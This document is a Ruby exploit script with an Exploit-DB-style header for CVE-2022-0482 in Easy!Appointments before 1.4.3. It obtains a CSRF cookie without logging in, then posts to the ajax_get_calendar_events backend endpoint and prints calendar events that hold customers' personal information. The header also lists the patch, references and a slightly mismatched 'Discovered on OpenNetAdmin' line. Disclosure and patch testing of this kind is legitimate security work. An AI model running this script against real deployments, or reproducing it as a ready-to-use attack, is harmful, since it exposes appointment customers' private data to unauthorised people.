# Exploit Title: Easy Appointments 1.4.2 - Information Disclosure # Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr) # Author website: https://pwn.by/noraj/ # Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482 # Date: 2022-04-11 # Vendor Homepage: https://easyappointments.org/ # Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz # Version: < 1.4.3 (it means up to 1.4.2) # Tested on: Easy!Appointments Version 1.3.2 # Vulnerability ## Discoverer: Francesco CARLUCCI ## Date: 2022-01-30 ## Discoverer website: https://carluc.ci/ ## Discovered on OpenNetAdmin 1.4.2 ## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments ## CVE: CVE-2022-0482 ## CWE: CWE-863 ## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c ## References: ## - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/ ## - https://github.com/alextselegidis/easyappointments/tree/1.4.2 ## - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml ## - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/ ## - https://nvd.nist.gov/vuln/detail/CVE-2022-0482 #!/usr/bin/env ruby require 'date' require 'httpx' require 'docopt' doc = <<~DOCOPT Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure Source: https://github.com/Acceis/exploit-CVE-2022-0482 Usage: #{__FILE__} <url> [<startDate> <endDate>] [--debug] #{__FILE__} -h | --help Options: <url> Root URL (base path) including HTTP scheme, port and root folder <startDate> All events since (default: 2015-01-11) <endDate> All events until (default: today) --debug Display arguments -h, --help Show this screen Examples: #{__FILE__} http://10.0.0.1 #{__FILE__} https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30 DOCOPT def fetch_csrf(root_url, http) vuln_url = "#{root_url}/index.php" http.get(vuln_url) end def exploit(root_url, startDate, endDate, http) vuln_url = "#{root_url}/index.php/backend_api/ajax_get_calendar_events" params = { 'csrfToken' => http.cookies.first.value, # csrfCookie 'startDate' => startDate.nil? ? '2015-01-11' : startDate, 'endDate' => endDate.nil? ? Date.today.to_s : endDate } http.post(vuln_url, form: params) end begin args = Docopt.docopt(doc) pp args if args['--debug'] http = HTTPX.plugin(:cookies) fetch_csrf(args['<url>'], http) puts exploit(args['<url>'], args['<startDate>'], args['<endDate>'], http).body rescue Docopt::Exit => e puts e.message end